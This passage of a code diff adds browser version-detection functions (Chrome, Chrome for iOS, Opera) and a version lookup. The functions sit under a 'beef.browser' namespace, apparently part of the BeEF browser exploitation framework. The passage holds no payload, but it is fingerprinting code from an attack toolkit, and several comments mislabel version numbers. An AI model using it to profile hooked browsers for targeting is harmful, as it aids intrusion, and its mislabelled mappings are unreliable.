+     * Returns true if Chrome for iOS 94.
+     * @example: beef.browser.isC94iOS()
+     */
+    isC94iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 94) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 95.
+     * @example: beef.browser.isC95()
+     */
+    isC95: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 95) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 95.
+     * @example: beef.browser.isC95iOS()
+     */
+    isC95iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 95) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 96.
+     * @example: beef.browser.isC96()
+     */
+    isC96: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 96) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 96.
+     * @example: beef.browser.isC96iOS()
+     */
+    isC96iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 96) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 97.
+     * @example: beef.browser.isC97()
+     */
+    isC97: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 97) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 97.
+     * @example: beef.browser.isC97iOS()
+     */
+    isC97iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 97) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 98.
+     * @example: beef.browser.isC98()
+     */
+    isC98: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 98) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 98.
+     * @example: beef.browser.isC98iOS()
+     */
+    isC98iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 98) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 99.
+     * @example: beef.browser.isC99()
+     */
+    isC99: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 99) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 99.
+     * @example: beef.browser.isC99iOS()
+     */
+    isC99iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 99) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome.
+     * @example: beef.browser.isC()
+     */
+    isC: function () {
+        return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS() || this.isC59() || this.isC59iOS()|| this.isC60() || this.isC60iOS()|| this.isC61() || this.isC61iOS()|| this.isC62() || this.isC62iOS()|| this.isC63() || this.isC63iOS()|| this.isC64() || this.isC64iOS()|| this.isC65() || this.isC65iOS()|| this.isC66() || this.isC66iOS()|| this.isC67() || this.isC67iOS()|| this.isC68() || this.isC68iOS()|| this.isC69() || this.isC69iOS()|| this.isC70() || this.isC70iOS()|| this.isC71() || this.isC71iOS()|| this.isC72() || this.isC72iOS()|| this.isC73() || this.isC73iOS()|| this.isC74() || this.isC74iOS()|| this.isC75() || this.isC75iOS()|| this.isC76() || this.isC76iOS()|| this.isC77() || this.isC77iOS()|| this.isC78() || this.isC78iOS()|| this.isC79() || this.isC79iOS()|| this.isC80() || this.isC80iOS()|| this.isC81() || this.isC81iOS()|| this.isC82() || this.isC82iOS()|| this.isC83() || this.isC83iOS()|| this.isC84() || this.isC84iOS()|| this.isC85() || this.isC85iOS()|| this.isC86() || this.isC86iOS()|| this.isC87() || this.isC87iOS()|| this.isC88() || this.isC88iOS()|| this.isC89() || this.isC89iOS()|| this.isC90() || this.isC90iOS()|| this.isC91() || this.isC91iOS()|| this.isC92() || this.isC92iOS()|| this.isC93() || this.isC93iOS()|| this.isC94() || this.isC94iOS()|| this.isC95() || this.isC95iOS()|| this.isC96() || this.isC96iOS()|| this.isC97() || this.isC97iOS()|| this.isC98() || this.isC98iOS()|| this.isC99() || this.isC99iOS();
+    },
+
+    /**
+     * Returns true if Opera 9.50 through 9.52.
+     * @example: beef.browser.isO9_52()
+     */
+    isO9_52: function () {
+        return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
+    },
+
+    /**
+     * Returns true if Opera 9.60 through 9.64.
+     * @example: beef.browser.isO9_60()
+     */
+    isO9_60: function () {
+        return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
+    },
+
+    /**
+     * Returns true if Opera 10.xx.
+     * @example: beef.browser.isO10()
+     */
+    isO10: function () {
+        return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
+    },
+
+    /**
+     * Returns true if Opera 11.xx.
+     * @example: beef.browser.isO11()
+     */
+    isO11: function () {
+        return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
+    },
+
+    /**
+     * Returns true if Opera 12.xx.
+     * @example: beef.browser.isO12()
+     */
+    isO12: function () {
+        return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
+    },
+
+    /**
+     * Returns true if Opera.
+     * @example: beef.browser.isO()
+     */
+    isO: function () {
+        return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
+    },
+
+    /**
+     * Returns the type of browser being used.
+     * @example: beef.browser.type().IE6
+     * @example: beef.browser.type().FF
+     * @example: beef.browser.type().O
+     */
+    type: function () {
+
+        return {
+            C5: this.isC5(), // Chrome 5
+            C6: this.isC6(), // Chrome 6
+            C7: this.isC7(), // Chrome 7
+            C8: this.isC8(), // Chrome 8
+            C9: this.isC9(), // Chrome 9
+            C10: this.isC10(), // Chrome 10
+            C11: this.isC11(), // Chrome 11
+            C12: this.isC12(), // Chrome 12
+            C13: this.isC13(), // Chrome 13
+            C14: this.isC14(), // Chrome 14
+            C15: this.isC15(), // Chrome 15
+            C16: this.isC16(), // Chrome 16
+            C17: this.isC17(), // Chrome 17
+            C18: this.isC18(), // Chrome 18
+            C19: this.isC19(), // Chrome 19
+            C19iOS: this.isC19iOS(), // Chrome 19 on iOS
+            C20: this.isC20(), // Chrome 20
+            C20iOS: this.isC20iOS(), // Chrome 20 on iOS
+            C21: this.isC21(), // Chrome 21
+            C21iOS: this.isC21iOS(), // Chrome 21 on iOS
+            C22: this.isC22(), // Chrome 22
+            C22iOS: this.isC22iOS(), // Chrome 22 on iOS
+            C23: this.isC23(), // Chrome 23
+            C23iOS: this.isC23iOS(), // Chrome 23 on iOS
+            C24: this.isC24(), // Chrome 24
+            C24iOS: this.isC24iOS(), // Chrome 24 on iOS
+            C25: this.isC25(), // Chrome 25
+            C25iOS: this.isC25iOS(), // Chrome 25 on iOS
+            C26: this.isC26(), // Chrome 26
+            C26iOS: this.isC26iOS(), // Chrome 26 on iOS
+            C27: this.isC27(), // Chrome 27
+            C27iOS: this.isC27iOS(), // Chrome 27 on iOS
+            C28: this.isC28(), // Chrome 28
+            C28iOS: this.isC28iOS(), // Chrome 28 on iOS
+            C29: this.isC29(), // Chrome 29
+            C29iOS: this.isC29iOS(), // Chrome 29 on iOS
+            C30: this.isC30(), // Chrome 30
+            C30iOS: this.isC30iOS(), // Chrome 30 on iOS
+            C31: this.isC31(), // Chrome 31
+            C31iOS: this.isC31iOS(), // Chrome 31 on iOS
+            C32: this.isC32(), // Chrome 32
+            C32iOS: this.isC32iOS(), // Chrome 32 on iOS
+            C33: this.isC33(), // Chrome 33
+            C33iOS: this.isC33iOS(), // Chrome 33 on iOS
+            C34: this.isC34(), // Chrome 34
+            C34iOS: this.isC34iOS(), // Chrome 34 on iOS
+            C35: this.isC35(), // Chrome 35
+            C35iOS: this.isC35iOS(), // Chrome 35 on iOS
+            C36: this.isC36(), // Chrome 36
+            C36iOS: this.isC36iOS(), // Chrome 36 on iOS
+            C37: this.isC37(), // Chrome 37
+            C37iOS: this.isC37iOS(), // Chrome 37 on iOS
+            C38: this.isC38(), // Chrome 38
+            C38iOS: this.isC38iOS(), // Chrome 38 on iOS
+            C39: this.isC39(), // Chrome 39
+            C39iOS: this.isC39iOS(), // Chrome 39 on iOS
+            C40: this.isC40(), // Chrome 40
+            C40iOS: this.isC40iOS(), // Chrome 40 on iOS
+            C41: this.isC41(), // Chrome 41
+            C41iOS: this.isC41iOS(), // Chrome 41 on iOS
+            C42: this.isC42(), // Chrome 42
+            C42iOS: this.isC42iOS(), // Chrome 42 on iOS
+            C43: this.isC43(), // Chrome 43
+            C43iOS: this.isC43iOS(), // Chrome 43 on iOS
+            C44: this.isC44(), // Chrome 44
+            C44iOS: this.isC44iOS(), // Chrome 44 on iOS
+            C45: this.isC45(), // Chrome 45
+            C45iOS: this.isC45iOS(), // Chrome 45 on iOS
+            C46: this.isC46(), // Chrome 46
+            C46iOS: this.isC46iOS(), // Chrome 46 on iOS
+            C47: this.isC47(), // Chrome 47
+            C47iOS: this.isC47iOS(), // Chrome 47 on iOS
+            C48: this.isC48(), // Chrome 48
+            C48iOS: this.isC48iOS(), // Chrome 48 on iOS
+            C49: this.isC49(), // Chrome 49
+            C49iOS: this.isC49iOS(), // Chrome 49 on iOS
+            C50: this.isC50(), // Chrome 50
+            C50iOS: this.isC50iOS(), // Chrome 50 on iOS
+            C51: this.isC51(), // Chrome 51
+            C51iOS: this.isC51iOS(), // Chrome 51 on iOS
+            C52: this.isC52(), // Chrome 52
+            C52iOS: this.isC52iOS(), // Chrome 52 on iOS
+            C53: this.isC53(), // Chrome 53
+            C53iOS: this.isC53iOS(), // Chrome 53 on iOS
+            C54: this.isC54(), // Chrome 54
+            C54iOS: this.isC54iOS(), // Chrome 54 on iOS
+            C55: this.isC55(), // Chrome 55
+            C55iOS: this.isC55iOS(), // Chrome 55 on iOS
+            C56: this.isC56(), // Chrome 56
+            C56iOS: this.isC56iOS(), // Chrome 56 on iOS
+            C57: this.isC57(), // Chrome 57
+            C57iOS: this.isC57iOS(), // Chrome 57 on iOS
+            C58: this.isC58(), // Chrome 58
+            C58iOS: this.isC58iOS(), // Chrome 58 on iOS
+            C63iOS: this.isC63iOS(),
+            C: this.isC(), // Chrome any version
+
+            FF2: this.isFF2(), // Firefox 2
+            FF3: this.isFF3(), // Firefox 3
+            FF3_5: this.isFF3_5(), // Firefox 3.5
+            FF3_6: this.isFF3_6(), // Firefox 3.6
+            FF4: this.isFF4(), // Firefox 4
+            FF5: this.isFF5(), // Firefox 5
+            FF6: this.isFF6(), // Firefox 6
+            FF7: this.isFF7(), // Firefox 7
+            FF8: this.isFF8(), // Firefox 8
+            FF9: this.isFF9(), // Firefox 9
+            FF10: this.isFF10(), // Firefox 10
+            FF11: this.isFF11(), // Firefox 11
+            FF12: this.isFF12(), // Firefox 12
+            FF13: this.isFF13(), // Firefox 13
+            FF14: this.isFF14(), // Firefox 14
+            FF15: this.isFF15(), // Firefox 15
+            FF16: this.isFF16(), // Firefox 16
+            FF17: this.isFF17(), // Firefox 17
+            FF18: this.isFF18(), // Firefox 18
+            FF19: this.isFF19(), // Firefox 19
+            FF20: this.isFF20(), // Firefox 20
+            FF21: this.isFF21(), // Firefox 21
+            FF22: this.isFF22(), // Firefox 22
+            FF23: this.isFF23(), // Firefox 23
+            FF24: this.isFF24(), // Firefox 24
+            FF25: this.isFF25(), // Firefox 25
+            FF26: this.isFF26(), // Firefox 26
+            FF27: this.isFF27(), // Firefox 27
+            FF28: this.isFF28(), // Firefox 28
+            FF29: this.isFF29(), // Firefox 29
+            FF30: this.isFF30(), // Firefox 30
+            FF31: this.isFF31(), // Firefox 31
+            FF32: this.isFF32(), // Firefox 32
+            FF33: this.isFF33(), // Firefox 33
+            FF34: this.isFF34(), // Firefox 34
+            FF35: this.isFF35(), // Firefox 35
+            FF36: this.isFF36(), // Firefox 36
+            FF37: this.isFF37(), // Firefox 37
+            FF38: this.isFF38(), // Firefox 38
+            FF39: this.isFF39(), // Firefox 39
+            FF40: this.isFF40(), // Firefox 40
+            FF41: this.isFF41(), // Firefox 41
+            FF42: this.isFF42(), // Firefox 42
+            FF43: this.isFF43(), // Firefox 43
+            FF44: this.isFF44(), // Firefox 44
+            FF45: this.isFF45(), // Firefox 45
+            FF46: this.isFF46(), // Firefox 46
+            FF47: this.isFF47(), // Firefox 47
+            FF48: this.isFF48(), // Firefox 48
+            FF49: this.isFF49(), // Firefox 49
+            FF50: this.isFF50(), // Firefox 50
+            FF51: this.isFF51(), // Firefox 51
+            FF52: this.isFF52(), // Firefox 52
+            FF53: this.isFF53(), // Firefox 53
+            FF54: this.isFF54(), // Firefox 54
+            FF55: this.isFF55(), // Firefox 55
+            FF56: this.isFF56(), // Firefox 56
+            FF57: this.isFF57(), // Firefox 57
+            FF58: this.isFF58(), // Firefox 58
+            FF59: this.isFF59(), // Firefox 59
+            FF60: this.isFF60(), // Firefox 60
+            FF61: this.isFF61(), // Firefox 61
+            FF62: this.isFF62(), // Firefox 62
+            FF63: this.isFF63(), // Firefox 63
+            FF64: this.isFF64(), // Firefox 64
+            FF65: this.isFF65(), // Firefox 65
+            FF66: this.isFF66(), // Firefox 66
+            FF67: this.isFF67(), // Firefox 67
+            FF68: this.isFF68(), // Firefox 68
+            FF69: this.isFF69(), // Firefox 69
+            FF70: this.isFF70(), // Firefox 70
+            FF71: this.isFF71(), // Firefox 71
+            FF72: this.isFF72(), // Firefox 72
+            FF73: this.isFF73(), // Firefox 73
+            FF74: this.isFF74(), // Firefox 74
+            FF75: this.isFF75(), // Firefox 75
+            FF76: this.isFF76(), // Firefox 76
+            FF77: this.isFF77(), // Firefox 77
+            FF78: this.isFF78(), // Firefox 78
+            FF79: this.isFF79(), // Firefox 79
+            FF80: this.isFF80(), // Firefox 70
+            FF81: this.isFF81(), // Firefox 81
+            FF82: this.isFF82(), // Firefox 82
+            FF83: this.isFF83(), // Firefox 83
+            FF84: this.isFF84(), // Firefox 85
+            FF85: this.isFF85(), // Firefox 85
+            FF86: this.isFF86(), // Firefox 85
+            FF87: this.isFF87(), // Firefox 87
+            FF88: this.isFF88(), // Firefox 85
+            FF89: this.isFF89(), // Firefox 85
+            FF90: this.isFF90(), // Firefox 80
+            FF91: this.isFF91(), // Firefox 95
+            FF92: this.isFF92(), // Firefox 92
+            FF93: this.isFF93(), // Firefox 95
+            FF94: this.isFF94(), // Firefox 94
+            FF95: this.isFF95(), // Firefox 95
+            FF96: this.isFF96(), // Firefox 96
+            FF97: this.isFF97(), // Firefox 97
+            FF98: this.isFF98(), // Firefox 98
+            FF99: this.isFF99(), // Firefox 99
+
+            FF: this.isFF(),   // Firefox any version
+
+            IE6: this.isIE6(), // Internet Explorer 6
+            IE7: this.isIE7(), // Internet Explorer 7
+            IE8: this.isIE8(), // Internet Explorer 8
+            IE9: this.isIE9(), // Internet Explorer 9
+            IE10: this.isIE10(), // Internet Explorer 10
+            IE11: this.isIE11(), // Internet Explorer 11
+            IE: this.isIE(), // Internet Explorer any version
+
+            O9_52: this.isO9_52(), // Opera 9.50 through 9.52
+            O9_60: this.isO9_60(), // Opera 9.60 through 9.64
+            O10: this.isO10(), // Opera 10.xx
+            O11: this.isO11(), // Opera 11.xx
+            O12: this.isO12(), // Opera 12.xx
+            O: this.isO(),   // Opera any version
+
+            EP: this.isEpi(), // Epiphany any version
+
+            S4: this.isS4(), // Safari 4.xx
+            S5: this.isS5(), // Safari 5.xx
+            S6: this.isS6(), // Safari 6.x
+            S7: this.isS7(), // Safari 7.x
+            S8: this.isS8(), // Safari 8.x
+            S: this.isS()   // Safari any version
+        }
+    },
+
+    /**
+     * Returns the major version of the browser being used.
+     * @return: {String} version number || 'UNKNOWN'.
+     *
+     * @example: beef.browser.getBrowserVersion()
+     */
+    getBrowserVersion: function () {
+        if (this.isEdge()) {
+          try {
+            return platform.version;
+          } catch(e) {
+            return 'unknown';
+          }
+        }
+        ;   // Microsoft Edge
+
+        if (this.isC5()) {
+            return '5'
+        }
+        ;   // Chrome 5
+        if (this.isC6()) {
+            return '6'
+        }
+        ;   // Chrome 6
+        if (this.isC7()) {
+            return '7'
+        }
+        ;   // Chrome 7
+        if (this.isC8()) {
+            return '8'
+        }
+        ;   // Chrome 8
+        if (this.isC9()) {
+            return '9'
+        }
+        ;   // Chrome 9
+        if (this.isC10()) {
+            return '10'
+        }
+        ;   // Chrome 10
+        if (this.isC11()) {
+            return '11'
+        }
+        ;   // Chrome 11
+        if (this.isC12()) {
+            return '12'
+        }
+        ;   // Chrome 12
+        if (this.isC13()) {
+            return '13'
+        }
+        ;   // Chrome 13
+        if (this.isC14()) {
+            return '14'
+        }
+        ;   // Chrome 14
+        if (this.isC15()) {
+            return '15'
+        }
+        ;   // Chrome 15
+        if (this.isC16()) {
+            return '16'
+        }
+        ;	// Chrome 16
+        if (this.isC17()) {
+            return '17'
+        }
+        ;	// Chrome 17
+        if (this.isC18()) {
+            return '18'
+        }
+        ;	// Chrome 18
+        if (this.isC19()) {
+            return '19'
+        }
+        ;	// Chrome 19
+        if (this.isC19iOS()) {
+            return '19'
+        }
+        ;   // Chrome 19 for iOS
+        if (this.isC20()) {
+            return '20'
+        }
+        ;	// Chrome 20
+        if (this.isC20iOS()) {
+            return '20'
+        }
+        ;   // Chrome 20 for iOS
+        if (this.isC21()) {
+            return '21'
+        }
+        ;	// Chrome 21
+        if (this.isC21iOS()) {
+            return '21'
+        }
+        ;   // Chrome 21 for iOS
+        if (this.isC22()) {
+            return '22'
+        }
+        ;    // Chrome 22
+        if (this.isC22iOS()) {
+            return '22'
+        }
+        ;   // Chrome 22 for iOS
+        if (this.isC23()) {
+            return '23'
+        }
+        ;    // Chrome 23
+        if (this.isC23iOS()) {
+            return '23'
+        }
+        ;   // Chrome 23 for iOS
+        if (this.isC24()) {
+            return '24'
+        }
+        ;    // Chrome 24
+        if (this.isC24iOS()) {
+            return '24'
+        }
+        ;   // Chrome 24 for iOS
+        if (this.isC25()) {
+            return '25'
+        }
+        ;    // Chrome 25
+        if (this.isC25iOS()) {
+            return '25'
+        }
+        ;   // Chrome 25 for iOS
+        if (this.isC26()) {
+            return '26'
+        }
+        ;    // Chrome 26
+        if (this.isC26iOS()) {
+            return '26'
+        }
+        ;   // Chrome 26 for iOS
+        if (this.isC27()) {
+            return '27'
+        }
+        ;    // Chrome 27
+        if (this.isC27iOS()) {
+            return '27'
+        }
+        ;   // Chrome 27 for iOS
+        if (this.isC28()) {
+            return '28'
+        }
+        ;    // Chrome 28
+        if (this.isC28iOS()) {
+            return '28'
+        }
+        ;   // Chrome 28 for iOS
+        if (this.isC29()) {
+            return '29'
+        }
+        ;    // Chrome 29
+        if (this.isC29iOS()) {
+            return '29'
+        }
+        ;   // Chrome 29 for iOS
+        if (this.isC30()) {
+            return '30'
+        }
+        ;    // Chrome 30
+        if (this.isC30iOS()) {
+            return '30'
+        }
+        ;   // Chrome 30 for iOS
+        if (this.isC31()) {
+            return '31'
+        }
+        ;   // Chrome 31
+        if (this.isC31iOS()) {
+            return '31'
+        }
+        ;   // Chrome 31 for iOS
+        if (this.isC32()) {
+            return '32'
+        }
+        ;   // Chrome 32
+        if (this.isC32iOS()) {
+            return '32'
+        }
+        ;   // Chrome 32 for iOS
+        if (this.isC33()) {
+            return '33'
+        }
+        ;   // Chrome 33
+        if (this.isC33iOS()) {
+            return '33'
+        }
+        ;   // Chrome 33 for iOS
+        if (this.isC34()) {
+            return '34'
+        }
+        ;   // Chrome 34
+        if (this.isC34iOS()) {
+            return '34'
+        }
+        ;   // Chrome 34 for iOS
+        if (this.isC35()) {
+            return '35'
+        }
+        ;   // Chrome 35
+        if (this.isC35iOS()) {
+            return '35'
+        }
+        ;   // Chrome 35 for iOS
+        if (this.isC36()) {
+            return '36'
+        }
+        ;   // Chrome 36
+        if (this.isC36iOS()) {
+            return '36'
+        }
+        ;   // Chrome 36 for iOS
+        if (this.isC37()) {
+            return '37'
+        }
+        ;   // Chrome 37
+        if (this.isC37iOS()) {
+            return '37'
+        }
+        ;   // Chrome 37 for iOS
+        if (this.isC38()) {
+            return '38'
+        }
+        ;   // Chrome 38
+        if (this.isC38iOS()) {
+            return '38'
+        }
+        ;   // Chrome 38 for iOS
+        if (this.isC39()) {
+            return '39'
+        }
+        ;   // Chrome 39
+        if (this.isC39iOS()) {
+            return '39'
+        }
+        ;   // Chrome 39 for iOS
+        if (this.isC40()) {
+            return '40'
+        }
+        ;   // Chrome 40
+        if (this.isC40iOS()) {
+            return '40'
+        }
+        ;   // Chrome 40 for iOS
+        if (this.isC41()) {
+            return '41'
+        }
+        ;   // Chrome 41
+        if (this.isC41iOS()) {
+            return '41'
+        }
+        ;   // Chrome 41 for iOS
+        if (this.isC42()) {
+            return '42'
+        }
+        ;   // Chrome 42
+        if (this.isC42iOS()) {
+            return '42'
+        }
+        ;   // Chrome 42 for iOS
+        if (this.isC43()) {
+            return '43'
+        }
+        ;   // Chrome 43
+        if (this.isC43iOS()) {
+            return '43'
+        }
+        ;   // Chrome 43 for iOS
+        if (this.isC44()) {
+            return '44'
+        }
+        ;   // Chrome 44
+        if (this.isC44iOS()) {
+            return '44'
+        }
+        ;   // Chrome 44 for iOS
+        if (this.isC45()) {
+            return '45'
+        }
+        ;   // Chrome 45
+        if (this.isC45iOS()) {
+            return '45'
+        }
+        ;   // Chrome 45 for iOS
+        if (this.isC46()) {
+            return '46'
+        }
+        ;// Chrome 46
+        if (this.isC46iOS()) {
+            return '46'
+        }
+        ;   // Chrome 46 for iOS
+        if (this.isC47()) {
+            return '47'
+        }
+        ;// Chrome 47
+        if (this.isC47iOS()) {
+            return '47'
+        }
+        ;   // Chrome 47 for iOS
+        if (this.isC48()) {
+            return '48'
+        }
+        ;// Chrome 48
+        if (this.isC48iOS()) {
+            return '48'
+        }
+        ;   // Chrome 48 for iOS
+        if (this.isC49()) {
+            return '49'
+        }
+        ;// Chrome 49
+        if (this.isC49iOS()) {
+            return '49'
+        }
+        ;   // Chrome 49 for iOS
+        if (this.isC50()) {
+            return '50'
+        }
+        ;// Chrome 50
+        if (this.isC50iOS()) {
+            return '50'
+        }
+        ;   // Chrome 50 for iOS
+        if (this.isC51()) {
+            return '51'
+        }
+        ;// Chrome 51
+        if (this.isC51iOS()) {
+            return '51'
+        }
+        ;   // Chrome 51 for iOS
+        if (this.isC52()) {
+            return '52'
+        }
+        ;// Chrome 52
+        if (this.isC52iOS()) {
+            return '52'
+        }
+        ;   // Chrome 52 for iOS
+        if (this.isC53()) {
+            return '53'
+        }
+        ;// Chrome 53
+        if (this.isC53iOS()) {
+            return '53'
+        }
+        ;   // Chrome 53 for iOS
+        if (this.isC54()) {
+            return '54'
+        }
+        ;// Chrome 54
+        if (this.isC54iOS()) {
+            return '54'
+        }
+        ;   // Chrome 54 for iOS
+        if (this.isC55()) {
+            return '55'
+        }
+        ;// Chrome 55
+        if (this.isC55iOS()) {
+            return '55'
+        }
+        ;   // Chrome 55 for iOS
+        if (this.isC56()) {
+            return '56'
+        }
+        ;// Chrome 56
+        if (this.isC56iOS()) {
+            return '56'
+        }
+        ;   // Chrome 56 for iOS
+        if (this.isC57()) {
+            return '57'
+        }
+        ;// Chrome 57
+        if (this.isC57iOS()) {
+            return '57'
+        }
+        ;   // Chrome 57 for iOS
+        if (this.isC58()) {
+            return '58'
+        }
+        ;// Chrome 58
+        if (this.isC58iOS()) {
+            return '58'
+        }
+        ;   // Chrome 58 for iOS
+
+
+        if (this.isFF2()) {
+            return '2'
+        }
+        ;	// Firefox 2
+        if (this.isFF3()) {
+            return '3'
+        }
+        ;	// Firefox 3
+        if (this.isFF3_5()) {
+            return '3.5'
+        }
+        ;	// Firefox 3.5
+        if (this.isFF3_6()) {
+            return '3.6'
+        }
+        ;	// Firefox 3.6
+        if (this.isFF4()) {
+            return '4'
+        }
+        ;	// Firefox 4
+        if (this.isFF5()) {
+            return '5'
+        }
+        ;	// Firefox 5
+        if (this.isFF6()) {
+            return '6'
+        }
+        ;	// Firefox 6
+        if (this.isFF7()) {
+            return '7'
+        }
+        ;	// Firefox 7
+        if (this.isFF8()) {
+            return '8'
+        }
+        ;	// Firefox 8
+        if (this.isFF9()) {
+            return '9'
+        }
+        ;	// Firefox 9
+        if (this.isFF10()) {
+            return '10'
+        }
+        ;	// Firefox 10
+        if (this.isFF11()) {
+            return '11'
+        }
+        ;	// Firefox 11
+        if (this.isFF12()) {
+            return '12'
+        }
+        ;	// Firefox 12
+        if (this.isFF13()) {
+            return '13'
+        }
+        ;	// Firefox 13
+        if (this.isFF14()) {
+            return '14'
+        }
+        ;	// Firefox 14
+        if (this.isFF15()) {
+            return '15'
+        }
+        ;	// Firefox 15
+        if (this.isFF16()) {
+            return '16'
+        }
+        ;	// Firefox 16
+        if (this.isFF17()) {
+            return '17'
+        }
+        ;    // Firefox 17
+        if (this.isFF18()) {
+            return '18'
+        }
+        ;    // Firefox 18
+        if (this.isFF19()) {
+            return '19'
+        }
+        ;    // Firefox 19
+        if (this.isFF20()) {
+            return '20'
+        }
+        ;    // Firefox 20
+        if (this.isFF21()) {
+            return '21'
+        }
+        ;    // Firefox 21
+        if (this.isFF22()) {
+            return '22'
+        }
+        ;   // Firefox 22
+        if (this.isFF23()) {
+            return '23'
+        }
+        ;   // Firefox 23
+        if (this.isFF24()) {
+            return '24'
+        }
+        ;   // Firefox 24
+        if (this.isFF25()) {
+            return '25'
+        }
+        ;   // Firefox 25
+        if (this.isFF26()) {
+            return '26'
+        }
+        ;   // Firefox 26
+        if (this.isFF27()) {
+            return '27'
+        }
+        ;   // Firefox 27
+        if (this.isFF28()) {
+            return '28'
+        }
+        ;   // Firefox 28
+        if (this.isFF29()) {
+            return '29'
+        }
+        ;   // Firefox 29
+        if (this.isFF30()) {
+            return '30'
+        }
+        ;   // Firefox 30
+        if (this.isFF31()) {
+            return '31'
+        }
+        ;   // Firefox 31
+        if (this.isFF32()) {
+            return '32'
+        }
+        ;   // Firefox 32
+        if (this.isFF33()) {
+            return '33'
+        }
+        ;   // Firefox 33
+        if (this.isFF34()) {
+            return '34'
+        }
+        ;   // Firefox 34
+        if (this.isFF35()) {
+            return '35'
+        }
+        ;   // Firefox 35
+        if (this.isFF36()) {
+            return '36'
+        }
+        ;   // Firefox 36
+        if (this.isFF37()) {
+            return '37'
+        }
+        ;   // Firefox 37
+        if (this.isFF38()) {
+            return '38'
+        }
+        ;   // Firefox 38
+        if (this.isFF39()) {
+            return '39'
+        }
+        ;   // Firefox 39
+        if (this.isFF40()) {
+            return '40'
+        }
+        ;   // Firefox 40
+        if (this.isFF41()) {
+            return '41'
+        }
+        ;   // Firefox 41
+        if (this.isFF42()) {
+            return '42'
+        }
+        ;   // Firefox 42
+        if (this.isFF43()) {
+            return '43'
+        }
+        ;   // Firefox 43
+        if (this.isFF44()) {
+            return '44'
+        }
+        ;   // Firefox 44
+        if (this.isFF45()) {
+            return '45'
+        }
+        ;   // Firefox 45
+        if (this.isFF46()) {
+            return '46'
+        }
+        ;   // Firefox 46
+        if (this.isFF47()) {
